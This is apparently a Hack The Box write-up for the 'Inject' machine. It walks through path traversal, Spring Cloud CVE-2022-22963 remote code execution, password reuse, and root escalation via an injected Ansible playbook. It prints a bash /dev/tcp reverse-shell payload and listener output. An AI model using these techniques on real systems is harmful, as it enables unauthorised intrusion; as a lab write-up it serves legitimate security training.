This writeup is for the Inject HTB machine. It’s labelled an easy Linux box, and it was picked as an opportunity to brush up on my rusty HTB skills.
Enumeration
After running Nmap we can see that only ports 22 and 8080 are open.
nmap -vv -sV -sC -p- -A -oN full 10.10.11.204
# Nmap 7.94 scan initiated Sun Jul 2 20:40:06 2023 as: nmap -vv -sV -sC -p- -A -oN full 10.10.11.204
Nmap scan report for 10.10.11.204
Host is up, received conn-refused (0.079s latency).
Scanned at 2023-07-02 20:40:07 MDT for 48s
Not shown: 65533 closed tcp ports (conn-refused)
PORT STATE SERVICE REASON VERSION
22/tcp open ssh syn-ack OpenSSH 8.2p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 ca:f1:0c:51:5a:59:62:77:f0:a8:0c:5c:7c:8d:da:f8 (RSA)
| ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDKZNtFBY2xMX8oDH/EtIMngGHpVX5fyuJLp9ig7NIC9XooaPtK60FoxOLcRr4iccW/9L2GWpp6kT777UzcKtYoijOCtctNClc6tG1hvohEAyXeNunG7GN+Lftc8eb4C6DooZY7oSeO++PgK5oRi3/tg+FSFSi6UZCsjci1NRj/0ywqzl/ytMzq5YoGfzRzIN3HYdFF8RHoW8qs8vcPsEMsbdsy1aGRbslKA2l1qmejyU9cukyGkFjYZsyVj1hEPn9V/uVafdgzNOvopQlg/yozTzN+LZ2rJO7/CCK3cjchnnPZZfeck85k5sw1G5uVGq38qcusfIfCnZlsn2FZzP2BXo5VEoO2IIRudCgJWTzb8urJ6JAWc1h0r6cUlxGdOvSSQQO6Yz1MhN9omUD9r4A5ag4cbI09c1KOnjzIM8hAWlwUDOKlaohgPtSbnZoGuyyHV/oyZu+/1w4HJWJy6urA43u1PFTonOyMkzJZihWNnkHhqrjeVsHTywFPUmTODb8=
| 256 d5:1c:81:c9:7b:07:6b:1c:c1:b4:29:25:4b:52:21:9f (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBIUJSpBOORoHb6HHQkePUztvh85c2F5k5zMDp+hjFhD8VRC2uKJni1FLYkxVPc/yY3Km7Sg1GzTyoGUxvy+EIsg=
| 256 db:1d:8c:eb:94:72:b0:d3:ed:44:b9:6c:93:a7:f9:1d (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAICZzUvDL0INOklR7AH+iFw+uX+nkJtcw7V+1AsMO9P7p
8080/tcp open nagios-nsca syn-ack Nagios NSCA
| http-methods:
|_ Supported Methods: GET HEAD OPTIONS
|_http-title: Home
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Read data files from: /usr/bin/../share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Sun Jul 2 20:40:55 2023 -- 1 IP address (1 host up) scanned in 48.71 seconds
Navigating to http://10.10.11.204:8080/ shows that port 8080 is running a web server for “Zodd Cloud”.
There is an upload page allows us to upload an image, which can then be viewed using the show_image endpoint. Fortunately for us, this endpoint takings the get parameter img which has a path traversal vulnerability. We can use this to read /etc/passwd and many other files on the box.
In frank’s home directory, we also found a settings.xml file that contained a password for phil. Trying to SSH into both frank and phil with this password didn’t prove to be successful.
Using this path traversal we can also read pom.xml. This lets us get the Maven dependencies running on the web application. This is useful because we can look for any vulnerable versions that might be used.
Here we can see the dependency org.springframework.cloud, version 3.2.2. This package is vulnerable to CVE-2022-22963. This CVE allows you to send a specially crafted SpEL that allows for remote code execution.
As a proof of concept, I was able to create a file at /tmp/test by running the following payload (source):
Spawning a reverse shell was difficult. Most of my attempts to run payloads within the exec() method failed to work. For some reason, any time I tried to run a command with flags the payload would stop working.
Tip
I eventually tried a payload that sent the commands in as an array of type String[], and for whatever reason that seemed to do the trick.
❯ nc -nvlp 4242listening on [any] 4242 ...connect to [10.10.14.15] from (UNKNOWN) [10.10.11.204] 32852bash: cannot set terminal process group (796): Inappropriate ioctl for devicebash: no job control in this shellfrank@inject:/$
Success
By using the payload new String[]{"bash","-c","bash -i >& /dev/tcp/10.10.14.15/4242 0>&1" we were able to get a reverse shell as frank!
Lateral privilege escalation
We can improve our shell by directing our public key into frank’s authorized_keys file and logging in through SSH.
From here the lateral move was quite simple. All we needed to do was su into the phil user. This is where the password DocPhillovestoInject123 we found earlier in settings.xml comes in handy.
frank@inject:~$ su - philPassword:phil@inject:~$ whoamiphil
Success
We can find the user.txt flag in phil’s home directory!
phil@inject:~$ lsuser.txt
Privilege escalation to root
Now that we are phil we can work on the privesc to the root user.
In the /opt/automation/tasks directory, there is an Ansible playbook file that has a single task used to check to make sure the web app is running. The directory is owned by the staff group, which coincidentally phil is a user of, meaning we can write our own files.
phil@inject:/opt/automation$ ls -latotal 12drwxr-xr-x 3 root root 4096 Oct 20 2022 .drwxr-xr-x 3 root root 4096 Oct 20 2022 ..drwxrwxr-x 2 root staff 4096 Jul 3 06:08 tasksphil@inject:/opt/automation$ groupsphil staff
I added my own Ansible playbook file which was then eventually run by a root service, likely running as a cron job. The tasks in the playbook were configured to copy the root.txt flag from the /root directory to a location that phil could read.
phil@inject:/opt/automation/tasks$ mkdir -p /tmp/hacks-n-snacksphil@inject:/opt/automation/tasks$ vim copy-flag.yml
After a minute or so the Ansible playbook was run and the root.txt flag was ours!
phil@inject:/tmp/snacks-n-hacks$ lsroot.txt
Conclusion
I enjoyed working through this box. I found the steps to get a reverse shell more challenging than some of the other easy Hack The Box boxes I’ve completed, but it was not so challenging that I felt stuck.
Some of my past DevOps experience made the privesc to root using Ansible quite straightforward, so that was encouraging. This was a great box to get back into the swing of things with HTB, and it felt great to root it in a single sitting.